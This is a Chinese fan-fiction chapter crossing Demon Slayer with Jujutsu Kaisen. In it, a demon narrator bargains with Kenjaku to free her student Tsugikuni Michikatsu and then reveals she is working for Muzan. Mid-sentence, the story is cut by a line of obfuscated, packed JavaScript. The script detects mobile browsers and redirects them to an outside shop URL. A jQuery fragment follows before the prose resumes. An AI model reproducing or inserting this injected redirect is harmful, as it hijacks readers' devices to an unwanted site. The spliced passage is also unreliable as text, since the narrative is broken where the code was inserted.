没时间伤感了,现在轮到我打缝合怪了!
我有些紧张,看着那缝合的家伙,调整了自己的姿态,直接从牛车上跳下来,对着缘一招手。
“好久不见,缘一,过来让我看看你。”我虽然根本想不起来我和缘一此前相处的模式,但是就别重逢这么一说应该不会使人起疑,虽然太像逢年过节叫不出名字的三大姑七大姨的问候一样。
我努力将自己的表情调整成云淡风轻的,看着那个缝合怪狩衣男,只是微微颔首以示打招呼。
不管怎么说,先把缘一叫到身边来总没错。
那位缝合怪狩衣男只是笑着看着我,并没有做什么动作,他将精致的虫笼放在耳边,对我眨了眨眼。
他身前的继国缘一像是从一个亘久的梦境中才醒来的样子,看着继国严胜,又看看我,脸上露出了幸福的笑意。
“兄长、姐姐!”继国缘一的声音清脆,如一头林间小鹿径直奔向我们。
我能察觉继国严胜的僵直的身体努力尝试放松,但是却将自己变得更加紧绷。他甚至做不出什么反应,只能脸上努力扯出一个该有的体面的微笑。
继国缘一在我们身前站定,露出了发自内心的快乐笑容。比起站在缝合怪狩衣男前,这时更显得有一种稚气在身上,他看看自己的兄长,又看向我,似乎想说点什么,但是话却说不出来。
那双眼睛亮得像是装进了漫天星辰,直叫继国严胜说不出话来,我也不知道该说什么。
要不就先不说什么体面话了吧?
我十分顺手地揉了揉继国缘一的头,思考了半秒钟,又接着揉了揉继国严胜的头,然后把他拉到我身后和继国严胜站在一排,再次感慨,“好久不见。”
“不过现在不是说这个的时候,缘一,你认识旁边的那位先生吗?”
我没转头,只是紧盯那位看起来人畜无害的缝合怪。
“这位先生我和歌在林中见过几次。这次好像是在林中找虫,然后好像迷路了,所以我和歌就将他带出来了。他说现在找不到住处,我们正打算带他回去呢。”
不是,这种头上有缝合线的家伙不要随便乱捡回家啊!我在内心咆哮。
我想起了继国严胜和我说过他的胞弟的特殊体质,看着那位还在摇头晃脑眯眼享受虫鸣的缝合怪,决定进行一下最终的确认--“缘一,你能告诉我,这位先生的脑子有什么特别的吗?”
继国缘一有些迷惑,他能感觉到兄长的紧绷和李姐姐的紧张。李姐姐曾经说过,世界之大无奇不有,所以,“现在那位先生的脑子正在说话哦,难道这很奇怪吗?”
不,这根本就很奇怪好不好?!
继国缘一后知后觉地感受到了点异样,虽然这不合常理,但是李姐姐的身体也不同于常人啊?
我并不知道后面俩小萝卜头的想法,在缘一说出脑子在说话的时候,没有再犹豫,将手中编到一半的虫笼扔下,纵身跃起,眨眼间便来到缝合怪身前。
继国严胜看着自己天赋异禀的胞弟歪了歪头,露出了极其不解的神情,一时心绪复杂--这难道就是天才的想法吗?他根本无法理解。
但是,他相信师傅。
继国严胜直接拔出太刀,也冲向了缝合怪。
缘一看着手上的野菜,又看着面前激战,思考片刻,直接从牛车中掏出一根木棍也冲了过去。
我闪身到了缝合怪的身前。
缝合怪却也不躲,只是仍然笑盈盈的站着,甚至手上还拎着虫笼。
“诶呀,好久不见,你的身体变得这么强健了呀?”他的声音充满着一种说不出的甜腻,缝合线下那双眼弯折,视线游走在我的身上,有些逗着猫狗似的闲适感。
可恶,怎么还馋我身体!变态!
我火气十足,也不收着力,直接一拳打上他的脸。
拳风都已经冲向他的脸了,但是却像是受到什么无形的东西挡住了一般,力道全消。
什么!?
继国严胜的剑也已经劈向了羂索,然而,就与我的攻击类似,也被未知的东西挡住了似的。
看不清,道不明的东西瞬间捉住了继国严胜,我看他像是被什么东西捉住了,腰间的衣料褶皱,面露痛苦之色。
羂索的表情写满了愉悦,他并不在意冲上来的继国缘一,也不看我,只是命令咒灵捏紧了继国严胜的脖子,语气甚至还带着商讨的意味,“不要过来哦,否则你的哥哥下一秒就要和你分别了。”
继国缘一猛地刹住脚步,脚下蹬了一片野草。他眼神警惕,内含愤怒的眼神全面地扫过了羂索。
“真是太可惜了。明明都拥有这么完美的身体,但是却没有咒力,这可真难办。”
羂索双眼扫过半空中的继国严胜和紧握着木棍的继国缘一,还猛地叹了一口气,一副极其困扰的样子。
“当然你的身体我也很喜欢,只是太可惜了显被预订了。”羂索的目光移向了那个女子,忍不住咬了咬手指,他的目光移至她身后那个到此都十分平静的特级咒灵,十分遗憾。
狂暴、死亡、血液、折磨......那个特级咒灵充斥着各种各样的负面情绪,即使看一眼都能感觉铺天盖地的恶意向人袭来。
多么强大的力量,这个女人居然都无法利用。如果直接攻击那女人,还要担心那个特级咒灵会回击。羂索的牙微微发力,在那双带着薄茧的指上留下了牙印。
不过从另一方面来说,无法感受咒力,无法看到咒灵的女人被这样的咒灵缠上,竟然依旧毫发无损,也是神奇的体质。还是需要他心甘情愿交出身体才好。
“真棒啊!”羂索忍不住感慨,眼神显得有些痴迷。如果将这个女人的身体改造了话,啊,真是纠结,一时间有太多合适的躯体了.....
然而,他的想法下一秒就被一道狠厉的声音打断。
“如果你真的想要我的身体了话,先放过他们,我会自觉跟你走的。你也不想只得到碎片吧?”我努力露出了一个人畜无害的笑,虽然话里充满威胁。
鬼可是能自爆的啊。
我尝试将自己的力量压缩再压缩,整个躯体瞬间混乱起来。
那个缝合怪的眼神很恶心,对我的身体简直是要流下了口水。我虽然不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584188|142476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道他操纵的是个什么力量,但是我能肯定--他绝对需要我完整的身体。
说完了话,我满意地看见了缝合怪的笑容消失。来吧,来谈判吧。
继国严胜早已喘不过气,他觉得自己的身体被巨力箍紧,整个人就像要被扭干的布料,整个人都快被拦腰截断。
而师傅话更是将他打入谷底,都怪自己没用!他想,身上的束缚渐渐减轻,他从半空跌落下来,落入一个怀抱中--是师傅。
继国严胜大口呼吸着空气,还不容易使得胸腔中再次充满空气,他近乎似惊恐又嘶吼地发声,“别走,师傅!”他的手紧紧攥着师傅的衣袖,却又被师傅一根一根地掰开。
“严胜,你听我说,我会没事的。”我努力给弟子一个坚定的眼神,但是他似乎无法接收,只是那双往日沉稳的眼里噙出大量的泪水,像是永无止境的泉眼,流出绝望的绝唱。
我将他的手下翻,手指在他掌心划下了什么,然后转头并没有理会他,看向了继国缘一。
继国缘一完全看到了我的小动作,他也看清了我写了什么。
因此,我放心地将继国严胜转接给了他,“保护好你们自己。”
我不再看他们,只是面色沉重,一脸英勇就义、壮士断腕般悲情地盯着缝合怪,压低了嗓音,“走吧,至少别让他们看到最后一幕。”
羂索的表情似笑非笑。
蠢货,他在心中暗想,这女人脑子确实不好使,就算他现在答应了又怎样,过一会等他得到了她的身体,他也能将再去打包那对兄弟,不过是时间先后的问题罢了。
虽然是这么想,但是面上的尊重还是要有的。
羂索回头看着老实跟在自己身后的女人,愉悦地搭话,“你还真是善良啊。”
我没有回话,只是好一会,声音里充满着懊悔与苦恼,“你说之前我的身体是要预定给谁?如果我帮你做事,你能不能放过我。”
我的眼神充满诚挚之情,力图展现出一个走投无路的鬼的垂死挣扎。
羂索只是好笑,他想,这鬼是真的没脑子。
不过安抚这个傻子还是很有必要的,他看着傻子身后的特级咒灵有些躁动,便笑着开口,“你的身体当然是要献给两面宿傩了。不过,你这么说了话,倒是可以和我尝试契约做交换?”
那个女人的声音里充满着惊喜,“真的吗?您愿意雇佣我,您愿意饶我一命了?”
看着那女人身后的特级咒灵似乎更加激动的样子,羂索皱起眉头,尝试应付回答,“当然。”虽然这话是个谎言,但是那个特级咒灵似乎瞬间被安抚了,安静了下来。
羂索压下心中的暗惊,看着周围的环境--无人的密林,看起来很适合做一些不法交易,就在此更换躯壳吧。
但是那个女人的声音依旧聒噪,“那我的报酬呢?”
蠢货吗?现在还敢谈报酬。他看着平静的特级咒灵,微微有些不耐烦,决定直接开启更换。
但是我的话并不是对这个缝合怪说的,我看着缝合怪背后的鬼舞辻无惨,笑得十分狗腿,“无惨大人,那我这回的报酬呢?”